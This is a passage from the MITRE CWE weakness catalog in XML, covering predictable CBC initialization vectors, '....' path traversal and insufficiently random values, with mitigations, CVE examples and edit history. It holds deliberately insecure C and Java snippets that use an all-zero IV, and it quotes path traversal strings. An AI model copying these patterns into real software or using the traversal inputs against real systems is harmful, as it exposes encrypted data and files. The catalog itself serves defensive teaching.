               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-10-28">Reversible One-Way Hash</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="329" Name="Generation of Predictable IV with CBC Mode" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.</Description>
	 <Extended_Description>
	   <xhtml:p>CBC mode eliminates a weakness of Electronic Code
	   Book (ECB) mode by allowing identical plaintext blocks to
	   be encrypted to different ciphertext blocks. This is
	   possible by the XOR-ing of an IV with the initial plaintext
	   block so that every plaintext block in the chain is XOR'd
	   with a different value before encryption. If IVs are
	   reused, then identical plaintexts would be encrypted to
	   identical ciphertexts. However, even if IVs are not
	   identical but are predictable, then they still break the
	   security of CBC mode against Chosen Plaintext Attacks
	   (CPA).</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1204" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>
	      <xhtml:p>CBC mode is a commonly used mode of operation for a
	      block cipher. It works by XOR-ing an IV with the initial
	      block of a plaintext prior to encryption and then
	      XOR-ing each successive block of plaintext with the
	      previous block of ciphertext before encryption.</xhtml:p>
	      <xhtml:div style="margin-left:1em;">
		C_0 = IV<xhtml:br/>
		C_i = E_k{M_i XOR C_{i-1}}
	      </xhtml:div>
	      <xhtml:p>
		When used properly, CBC mode provides security against
		chosen plaintext attacks. Having an unpredictable IV
		is a crucial underpinning of this. See [REF-1171].</xhtml:p>
	      </Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
	       <Note>Developers might dismiss the importance of an unpredictable IV and choose an easier implementation to save effort, weakening the scheme in the process.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>If the IV is not properly initialized, data that is encrypted can be compromised and leak information.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-143">
               <Intro_Text>In the following examples, CBC mode is used when encrypting data:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>EVP_CIPHER_CTX ctx;<xhtml:br/>char key[EVP_MAX_KEY_LENGTH];<xhtml:br/>char iv[EVP_MAX_IV_LENGTH];<xhtml:br/>RAND_bytes(key, b);<xhtml:br/>memset(iv,0,EVP_MAX_IV_LENGTH);<xhtml:br/>EVP_EncryptInit(&amp;ctx,EVP_bf_cbc(), key,iv);</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class SymmetricCipherTest {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public static void main() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>byte[] text ="Secret".getBytes();<xhtml:br/>byte[] iv ={<xhtml:div style="margin-left:1em;">0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00</xhtml:div>};<xhtml:br/>KeyGenerator kg = KeyGenerator.getInstance("DES");<xhtml:br/>kg.init(56);<xhtml:br/>SecretKey key = kg.generateKey();<xhtml:br/>Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");<xhtml:br/>IvParameterSpec ips = new IvParameterSpec(iv);<xhtml:br/>cipher.init(Cipher.ENCRYPT_MODE, key, ips);<xhtml:br/>return cipher.doFinal(inpBytes);</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	 <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2020-5408</Reference>
	     <Description>encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2020-5408</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2017-17704</Reference>
	     <Description>messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart </Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2017-17704</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2017-11133</Reference>
	     <Description>application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong.</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2017-11133</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2007-3528</Reference>
	     <Description>Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values.</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2007-3528</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2011-3389</Reference>
	     <Description>BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack.</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2011-3389</Link>
	   </Observed_Example>
	 </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Cryptography</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Not using a random IV with CBC mode</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Initialization Vectors&#34;, Page 42"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-1171"/>
            <Reference External_Reference_ID="REF-1172" Section="Appendix C"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Functional_Areas, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-03-15">Not Using a Random IV with CBC Mode</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">Not Using an Unpredictable IV with CBC Mode</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="33" Name="Path Traversal: '....' (Multiple Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0240</Reference>
               <Description>read files via "/........../" in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0240</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0773</Reference>
               <Description>read files via "...." in web server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0773</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1082</Reference>
               <Description>read files via "......" in web server (doubled triple dot?)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1082</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2121</Reference>
               <Description>read files via "......" in web server (doubled triple dot?)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2121</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0491</Reference>
               <Description>multiple attacks using "..", "...", and "...." in different commands</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0491</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0615</Reference>
               <Description>"..." or "...." in chat server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0615</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'....' (multiple dot)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Dot - '....'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="330" Name="Use of Insufficiently Random Values" Abstraction="Class" Structure="Simple" Status="Stable">
         <Description>The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.</Description>
         <Extended_Description>When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="804" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>If product relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-11.4">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.</xhtml:p>
               </Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Man-in-the-middle attack tool</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.</xhtml:p>
                  <xhtml:p>In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.</xhtml:p>
                  <xhtml:p>Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
